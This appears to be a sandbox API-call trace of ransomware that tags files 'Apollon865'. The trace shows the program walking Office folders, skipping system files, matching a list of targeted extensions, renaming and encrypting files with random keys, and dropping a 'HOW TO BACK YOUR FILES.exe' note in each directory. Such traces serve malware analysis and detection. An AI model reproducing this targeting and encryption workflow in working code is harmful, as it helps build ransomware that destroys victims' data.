	[0070.585] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0070.585] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0070.585] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4061200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4061200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b875, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="StarterNotificationDescriptors.xml", cAlternateFileName="STARTE~3.XML")) returned 1
	[0070.586] lstrcmpiW (lpString1="StarterNotificationDescriptors.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.586] lstrcmpiW (lpString1="StarterNotificationDescriptors.xml", lpString2="Apollon865.txt.exe") returned 1
	[0070.586] lstrcmpiW (lpString1="StarterNotificationDescriptors.xml", lpString2=".") returned 1
	[0070.586] lstrcmpiW (lpString1="StarterNotificationDescriptors.xml", lpString2="..") returned 1
	[0070.586] lstrcmpiW (lpString1="StarterNotificationDescriptors.xml", lpString2="windows") returned -1
	[0070.586] lstrcmpiW (lpString1="StarterNotificationDescriptors.xml", lpString2="bootmgr") returned 1
	[0070.586] lstrcmpiW (lpString1="StarterNotificationDescriptors.xml", lpString2="temp") returned -1
	[0070.586] lstrcmpiW (lpString1="StarterNotificationDescriptors.xml", lpString2="pagefile.sys") returned 1
	[0070.586] lstrcmpiW (lpString1="StarterNotificationDescriptors.xml", lpString2="boot") returned 1
	[0070.586] lstrcmpiW (lpString1="StarterNotificationDescriptors.xml", lpString2="ids.txt") returned 1
	[0070.586] lstrcmpiW (lpString1="StarterNotificationDescriptors.xml", lpString2="ntuser.dat") returned 1
	[0070.586] lstrcmpiW (lpString1="StarterNotificationDescriptors.xml", lpString2="perflogs") returned 1
	[0070.586] lstrcmpiW (lpString1="StarterNotificationDescriptors.xml", lpString2="MSBuild") returned 1
	[0070.586] lstrlenW (lpString="StarterNotificationDescriptors.xml") returned 34
	[0070.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterApplicationDescriptors.xml") returned 93
	[0070.586] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="StarterNotificationDescriptors.xml" | out: lpString1="StarterNotificationDescriptors.xml") returned="StarterNotificationDescriptors.xml"
	[0070.586] lstrlenW (lpString="StarterNotificationDescriptors.xml") returned 34
	[0070.586] lstrlenW (lpString="Apollon865") returned 10
	[0070.586] lstrcmpiW (lpString1="iptors.xml", lpString2="Apollon865") returned 1
	[0070.586] lstrlenW (lpString=".dll") returned 4
	[0070.586] lstrcmpiW (lpString1="StarterNotificationDescriptors.xml", lpString2=".dll") returned 1
	[0070.586] lstrlenW (lpString=".lnk") returned 4
	[0070.586] lstrcmpiW (lpString1="StarterNotificationDescriptors.xml", lpString2=".lnk") returned 1
	[0070.586] lstrlenW (lpString=".ini") returned 4
	[0070.586] lstrcmpiW (lpString1="StarterNotificationDescriptors.xml", lpString2=".ini") returned 1
	[0070.586] lstrlenW (lpString=".sys") returned 4
	[0070.586] lstrcmpiW (lpString1="StarterNotificationDescriptors.xml", lpString2=".sys") returned 1
	[0070.586] lstrlenW (lpString="StarterNotificationDescriptors.xml") returned 34
	[0070.586] lstrlenW (lpString="bak") returned 3
	[0070.586] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0070.586] lstrlenW (lpString="ba_") returned 3
	[0070.586] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0070.586] lstrlenW (lpString="dbb") returned 3
	[0070.586] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0070.586] lstrlenW (lpString="vmdk") returned 4
	[0070.586] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0070.587] lstrlenW (lpString="rar") returned 3
	[0070.587] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0070.587] lstrlenW (lpString="zip") returned 3
	[0070.587] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0070.587] lstrlenW (lpString="tgz") returned 3
	[0070.587] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0070.587] lstrlenW (lpString="vbox") returned 4
	[0070.587] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0070.587] lstrlenW (lpString="vdi") returned 3
	[0070.587] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0070.587] lstrlenW (lpString="vhd") returned 3
	[0070.587] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0070.587] lstrlenW (lpString="vhdx") returned 4
	[0070.587] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0070.587] lstrlenW (lpString="avhd") returned 4
	[0070.587] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0070.587] lstrlenW (lpString="db") returned 2
	[0070.587] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0070.587] lstrlenW (lpString="db2") returned 3
	[0070.587] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0070.587] lstrlenW (lpString="db3") returned 3
	[0070.587] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0070.587] lstrlenW (lpString="dbf") returned 3
	[0070.587] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0070.587] lstrlenW (lpString="mdf") returned 3
	[0070.587] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0070.587] lstrlenW (lpString="mdb") returned 3
	[0070.587] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0070.587] lstrlenW (lpString="sql") returned 3
	[0070.587] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0070.587] lstrlenW (lpString="sqlite") returned 6
	[0070.587] lstrcmpiW (lpString1="rs.xml", lpString2="sqlite") returned -1
	[0070.587] lstrlenW (lpString="sqlite3") returned 7
	[0070.587] lstrcmpiW (lpString1="ors.xml", lpString2="sqlite3") returned -1
	[0070.587] lstrlenW (lpString="sqlitedb") returned 8
	[0070.587] lstrcmpiW (lpString1="tors.xml", lpString2="sqlitedb") returned 1
	[0070.587] lstrlenW (lpString="xml") returned 3
	[0070.587] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0070.588] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterNotificationDescriptors.xml.Apollon865") returned 105
	[0070.588] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterNotificationDescriptors.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\starternotificationdescriptors.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterNotificationDescriptors.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\starternotificationdescriptors.xml.apollon865"), dwFlags=0x1) returned 1
	[0070.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterNotificationDescriptors.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\starternotificationdescriptors.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0070.588] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=112757) returned 1
	[0070.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0070.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0070.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0070.589] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0070.590] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.590] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0070.590] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1bb80, lpName=0x0) returned 0x118
	[0070.592] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1bb80) returned 0x120000
	[0070.598] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0070.598] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.598] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0070.598] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0070.598] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0070.599] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0070.599] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0070.599] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0070.599] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0070.599] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0070.599] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0070.599] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0070.599] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0070.599] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0070.600] CloseHandle (hObject=0x118) returned 1
	[0070.600] CloseHandle (hObject=0x15c) returned 1
	[0070.600] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0070.600] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0070.600] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0070.601] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22545300, ftCreationTime.dwHighDateTime=0x1c9a48f, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22545300, ftLastWriteTime.dwHighDateTime=0x1c9a48f, nFileSizeHigh=0x0, nFileSizeLow=0x1a553, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="StarterToolTemplates.xml", cAlternateFileName="STARTE~2.XML")) returned 1
	[0070.601] lstrcmpiW (lpString1="StarterToolTemplates.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.601] lstrcmpiW (lpString1="StarterToolTemplates.xml", lpString2="Apollon865.txt.exe") returned 1
	[0070.601] lstrcmpiW (lpString1="StarterToolTemplates.xml", lpString2=".") returned 1
	[0070.601] lstrcmpiW (lpString1="StarterToolTemplates.xml", lpString2="..") returned 1
	[0070.601] lstrcmpiW (lpString1="StarterToolTemplates.xml", lpString2="windows") returned -1
	[0070.601] lstrcmpiW (lpString1="StarterToolTemplates.xml", lpString2="bootmgr") returned 1
	[0070.601] lstrcmpiW (lpString1="StarterToolTemplates.xml", lpString2="temp") returned -1
	[0070.601] lstrcmpiW (lpString1="StarterToolTemplates.xml", lpString2="pagefile.sys") returned 1
	[0070.601] lstrcmpiW (lpString1="StarterToolTemplates.xml", lpString2="boot") returned 1
	[0070.601] lstrcmpiW (lpString1="StarterToolTemplates.xml", lpString2="ids.txt") returned 1
	[0070.601] lstrcmpiW (lpString1="StarterToolTemplates.xml", lpString2="ntuser.dat") returned 1
	[0070.601] lstrcmpiW (lpString1="StarterToolTemplates.xml", lpString2="perflogs") returned 1
	[0070.601] lstrcmpiW (lpString1="StarterToolTemplates.xml", lpString2="MSBuild") returned 1
	[0070.601] lstrlenW (lpString="StarterToolTemplates.xml") returned 24
	[0070.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterNotificationDescriptors.xml") returned 94
	[0070.601] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="StarterToolTemplates.xml" | out: lpString1="StarterToolTemplates.xml") returned="StarterToolTemplates.xml"
	[0070.601] lstrlenW (lpString="StarterToolTemplates.xml") returned 24
	[0070.601] lstrlenW (lpString="Apollon865") returned 10
	[0070.601] lstrcmpiW (lpString1="plates.xml", lpString2="Apollon865") returned 1
	[0070.601] lstrlenW (lpString=".dll") returned 4
	[0070.601] lstrcmpiW (lpString1="StarterToolTemplates.xml", lpString2=".dll") returned 1
	[0070.601] lstrlenW (lpString=".lnk") returned 4
	[0070.601] lstrcmpiW (lpString1="StarterToolTemplates.xml", lpString2=".lnk") returned 1
	[0070.601] lstrlenW (lpString=".ini") returned 4
	[0070.601] lstrcmpiW (lpString1="StarterToolTemplates.xml", lpString2=".ini") returned 1
	[0070.602] lstrlenW (lpString=".sys") returned 4
	[0070.602] lstrcmpiW (lpString1="StarterToolTemplates.xml", lpString2=".sys") returned 1
	[0070.602] lstrlenW (lpString="StarterToolTemplates.xml") returned 24
	[0070.602] lstrlenW (lpString="bak") returned 3
	[0070.602] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0070.602] lstrlenW (lpString="ba_") returned 3
	[0070.602] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0070.602] lstrlenW (lpString="dbb") returned 3
	[0070.602] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0070.602] lstrlenW (lpString="vmdk") returned 4
	[0070.602] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0070.602] lstrlenW (lpString="rar") returned 3
	[0070.602] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0070.602] lstrlenW (lpString="zip") returned 3
	[0070.602] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0070.602] lstrlenW (lpString="tgz") returned 3
	[0070.602] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0070.602] lstrlenW (lpString="vbox") returned 4
	[0070.602] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0070.602] lstrlenW (lpString="vdi") returned 3
	[0070.602] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0070.602] lstrlenW (lpString="vhd") returned 3
	[0070.602] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0070.602] lstrlenW (lpString="vhdx") returned 4
	[0070.602] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0070.602] lstrlenW (lpString="avhd") returned 4
	[0070.602] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0070.602] lstrlenW (lpString="db") returned 2
	[0070.602] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0070.602] lstrlenW (lpString="db2") returned 3
	[0070.602] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0070.602] lstrlenW (lpString="db3") returned 3
	[0070.602] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0070.602] lstrlenW (lpString="dbf") returned 3
	[0070.602] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0070.602] lstrlenW (lpString="mdf") returned 3
	[0070.602] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0070.602] lstrlenW (lpString="mdb") returned 3
	[0070.603] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0070.603] lstrlenW (lpString="sql") returned 3
	[0070.603] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0070.603] lstrlenW (lpString="sqlite") returned 6
	[0070.603] lstrcmpiW (lpString1="es.xml", lpString2="sqlite") returned -1
	[0070.603] lstrlenW (lpString="sqlite3") returned 7
	[0070.603] lstrcmpiW (lpString1="tes.xml", lpString2="sqlite3") returned 1
	[0070.603] lstrlenW (lpString="sqlitedb") returned 8
	[0070.603] lstrcmpiW (lpString1="ates.xml", lpString2="sqlitedb") returned -1
	[0070.603] lstrlenW (lpString="xml") returned 3
	[0070.603] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0070.603] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterToolTemplates.xml.Apollon865") returned 95
	[0070.603] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterToolTemplates.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\startertooltemplates.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterToolTemplates.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\startertooltemplates.xml.apollon865"), dwFlags=0x1) returned 1
	[0070.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterToolTemplates.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\startertooltemplates.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0070.607] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=107859) returned 1
	[0070.607] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0070.607] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0070.607] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0070.607] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0070.608] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.608] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0070.608] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a860, lpName=0x0) returned 0x118
	[0070.609] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a860) returned 0x120000
	[0070.616] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0070.616] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.616] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0070.616] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0070.616] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0070.616] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0070.616] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0070.616] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0070.617] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0070.617] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0070.617] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0070.617] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0070.617] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0070.617] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0070.618] CloseHandle (hObject=0x118) returned 1
	[0070.618] CloseHandle (hObject=0x15c) returned 1
	[0070.618] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0070.618] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0070.618] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0070.619] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22545300, ftCreationTime.dwHighDateTime=0x1c9a48f, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22545300, ftLastWriteTime.dwHighDateTime=0x1c9a48f, nFileSizeHigh=0x0, nFileSizeLow=0x1a553, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="StarterToolTemplates.xml", cAlternateFileName="STARTE~2.XML")) returned 0
	[0070.619] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0070.619] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fdf0
	[0070.619] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates"
	[0070.619] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3168 | out: hHeap=0x580000) returned 1
	[0070.619] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fde8 | out: hHeap=0x580000) returned 1
	[0070.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates") returned 75
	[0070.619] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates"
	[0070.619] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.619] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\space templates\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.623] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.623] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42298330, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42298330, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0070.623] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.623] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.623] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0070.623] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42298330, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42298330, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.623] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.623] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0070.623] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0070.623] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0070.623] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42298330, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x42298330, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0070.623] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0070.623] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42298330, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x42298330, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0070.623] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0070.623] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fdd0
	[0070.623] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons"
	[0070.624] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5917c0 | out: hHeap=0x580000) returned 1
	[0070.624] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fdc8 | out: hHeap=0x580000) returned 1
	[0070.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons") returned 59
	[0070.624] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons"
	[0070.624] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
